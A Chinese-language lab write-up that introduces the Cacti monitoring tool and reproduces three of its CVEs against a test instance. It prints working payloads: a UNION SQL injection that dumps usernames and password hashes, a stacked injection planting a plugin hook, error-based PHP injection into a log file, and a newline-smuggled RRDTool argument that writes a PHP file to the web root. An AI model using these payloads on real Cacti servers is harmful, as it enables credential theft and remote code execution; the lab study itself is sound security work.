Cacti

Cacti是什么?

Cacti 是一个开源的网络监控工具,主要用于图形化展示和监控 IT 基础设施的性能。它特别擅长于数据采集、存储和展示图形化报表,帮助管理员实时查看网络设备和服务器的状态。

核心功能:

  • 网络监控:Cacti 主要用于监控网络设备(如路由器、交换机)以及服务器的性能数据(如 CPU 使用率、内存、磁盘空间等)。

  • 图形化报表:Cacti 将采集到的数据通过图形化的方式呈现,使管理员可以直观地了解网络状况。例如,它可以绘制 CPU 使用率、流量、带宽使用等的趋势图。

  • 基于 SNMP:Cacti 使用 SNMP(简单网络管理协议)来从网络设备(如路由器、交换机等)获取数据。它支持多种 SNMP 版本(如 SNMPv1, SNMPv2, SNMPv3)和自定义数据源。

  • 插件支持:Cacti 提供丰富的插件支持,用户可以根据需求扩展功能。例如,用户可以集成不同的监控工具,或者使用自定义脚本来采集其他类型的数据。

  • 易用的 Web 界面:Cacti 提供一个用户友好的 Web 界面,管理员可以轻松设置监控任务、查看数据和管理设备。

工作原理:

Cacti 通过定期使用 RRDTool(Round Robin Database)来收集和存储数据。RRDTool 是一个高效的数据存储和图形生成工具,Cacti 将采集的数据按时间顺序存储,并生成图表。

CVE-2022-46169(Cacti remote_agent.php前台命令注入漏洞)

漏洞原理:通过X-Forwarded-For请求头绕过服务端校验,并在其中执行任意命令。

版本要求:Cacti 1.2.17-1.2.22

账号要求:有,这里是默认账号admin/admin

步骤1:初始化完成后,需要存在至少一个POLLER_ACTION_SCRIPT_PHP的采集器。首先要自己添加一个设备。

步骤2:发送数据包测试

查看结果:

CVE-2023-39361/CVE-2024-31459(Cacti graph_view.php SQL注入导致远程代码执行漏洞)

漏洞原理:在Cacti1.2.24及以前版本,graph_view.php文件存在一个严重的漏洞,当启用guest用户时,未经任何身份验证的攻击者通过'rfilter'参数即可执行SQL注入漏洞,最终可导致远程代码执行。

版本要求:Cacti < 1.2.24

账号要求:有,这里默认账号admin/admin

步骤1:初始化完成后启用guest用户

步骤2:在graph_view.php文件中的grow_right_pane_tree函数内的action参数设置为"tree_content"时,用户输入的rfilter参数由html_validate_tree_vars函数验证。具体查看实现逻辑,使用grep命令查找文件中的html_validate_tree_vars函数。

可以看到函数的实现逻辑是在./lib/html_tree.php里面,单独把这个函数提出来看

使用docker cp命令给容器内文件提出来

使用vscode编辑器远程连接到虚拟机方便看代,html_validate_tree_vars函数如下:

php 复制代码
function html_validate_tree_vars() {
	static $count = false;

	// prevent double calls in the same stack
	if ($count) {
		return false;
	}

	/* ================= input validation and session storage ================= */
	$filters = array(
		'graphs' => array(
			'filter' => FILTER_VALIDATE_INT,
			'pageset' => true,
			'default' => read_user_setting('treeview_graphs_per_page')
			),
		'graph_template_id' => array(
			'filter' => FILTER_VALIDATE_IS_NUMERIC_LIST,
			'pageset' => true,
			'default' => '-1'
			),
		'columns' => array(
			'filter' => FILTER_VALIDATE_INT,
			'default' => read_user_setting('num_columns_tree', '2')
			),
		'page' => array(
			'filter' => FILTER_VALIDATE_INT,
			'default' => '1'
			),
		'predefined_timeshift' => array(
			'filter' => FILTER_VALIDATE_INT,
			'default' => read_user_setting('default_timeshift')
			),
		'predefined_timespan' => array(
			'filter' => FILTER_VALIDATE_INT,
			'default' => read_user_setting('default_timespan')
			),
		'node' => array(
			'filter' => FILTER_VALIDATE_REGEXP,
			'options' => array('options' => array('regexp' => '/([_\-a-z:0-9#]+)/')),
			'pageset' => true,
			'default' => ''
			),
		'site_id' => array(
			'filter' => FILTER_VALIDATE_INT,
			'default' => '-1'
			),
		'host_id' => array(
			'filter' => FILTER_VALIDATE_INT,
			'default' => '-1'
			),
		'host_template_id' => array(
			'filter' => FILTER_VALIDATE_INT,
			'default' => '-1'
			),
		'hgd' => array(
			'filter' => FILTER_CALLBACK,
			'pageset' => true,
			'default' => '',
			'options' => array('options' => 'sanitize_search_string')
			),
		'rfilter' => array(
			'filter' => FILTER_VALIDATE_IS_REGEX,
			'pageset' => true,
			'default' => '',
			),
		'thumbnails' => array(
			'filter' => FILTER_VALIDATE_REGEXP,
			'options' => array('options' => array('regexp' => '(true|false)')),
			'pageset' => true,
			'default' => read_user_setting('thumbnail_section_tree_2') == 'on' ? 'true':'false'
			)
	);

	validate_store_request_vars($filters, 'sess_grt');
	/* ================= input validation ================= */

	$count = true;
}

这里针对rfilter的过滤规则是在FILTER_VALIDATE_IS_REGEX这条自定义规则。去找这条自定义规则的具体实现逻辑。

把具体实现逻辑的html_utility.php文件导出查看

php 复制代码
		if ($value === false) {
			if ($filter == FILTER_VALIDATE_IS_REGEX) {
				raise_message('custom', __('The regular expression "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error)), MESSAGE_LEVEL_ERROR);
				set_request_var($name, '');
			} else {
				die_html_input_error($name, get_nfilter_request_var($name));
			}
		} else {
			set_request_var($name, $value);

			return $value;
		}
	}

这里只实现了正则表达式的校验,校验通过就返回值,存在sql注入。

通过union联合查询发现在3、7、8的位置存在回显。试着显示数据库名,账户名和密码。

php 复制代码
" OR ""="((")) UNION SELECT 1,2,(select concat(id,0x23,username,0x23,password) from user_auth limit 1),4,5,6,(select user()),(select version()),9,10#

密码是2y10$iaPNf5gSeC8/7.fbAi3Q3OGnCzCbs.05ohwTVfX24lM84pdATkgbK,这个密文通过观察格式是bcrypt哈希加密的密文

该加密格式通常为2y10$<22字符salt><31字符hash>,该加密方式是不可逆的,但可以通过

password_verify(password, hash);函数去尝试碰撞。

php 复制代码
<?php
$password = admin;

// 使用 bcrypt 生成哈希
$hash = password_hash($password, PASSWORD_BCRYPT);

// 输出结果
echo "生成的 bcrypt 密文是:\n$hash\n";

在Cacti支持堆叠查询,因此可以使用堆叠注入结合CVE-2024-31459实现文件包含

第一步添加钩子来劫持函数调用,指向log/cacti.log文件

php 复制代码
action=tree_content&node=1-1-tree_anchor&rfilter=aaaaa" OR ""="(("));INSERT INTO plugin_hooks(name,hook,file,status) VALUES (".","login_before","../log/cacti.log",1);#

第二步利用报错注入将php语句写入文件

php 复制代码
action=tree_content&node=1-1-tree_anchor&rfilter=aaaaa" OR ""="((")) UNION SELECT 1,2,3,4,5,6,updatexml(rand(),concat(0x7e,"<?php phpinfo();?>",0x7e),null),8,9,10#

这里正常是登录界面可以看到phpinfo()配置页面,因为没装php扩展,所以失败。

CVE-2025-24367(Cacti RRDTool后台参数注入导致远程代码执行)

在Cacti1.2.28版本及之前版本存在命令注入漏洞,该漏洞可以创建任意php文件并通过操作触发恶意文件,可导致远程代码执行。

此漏洞出现在图形模板功能,用户输入RRDTool命令参数,如--right-axis-label,Cacti通过cacti_escapeshellarg()函数转义shell元字符,但是通过该函数对于换行符的绕过方式是无法处理,从而导致可拼接恶意命令,最终向Web的根目录写入恶意php文件。

步骤1:登录Cacti。点击模板->图形模板->找到 PING - Advanced Ping,点击编辑,点击保存抓取保存数据包

修改right_axis_label参数,在该参数注入payload,中间的换行使用%0a

php 复制代码
XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph vulhub.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=phpinfo();?>

注入后在使用 PING - Advanced Ping模板创建图形来触发写入的PHP文件。

来到图形->点击Default Tree->Local Linux Manchine会看到新增的图形有一个报错图形,这代表已经成功了,根据注入的payload在根目录下创建了vulhub.php

这里由于安装的bp有问题,%0a打不上去,导致最后的绕过不成功,被函数转义了。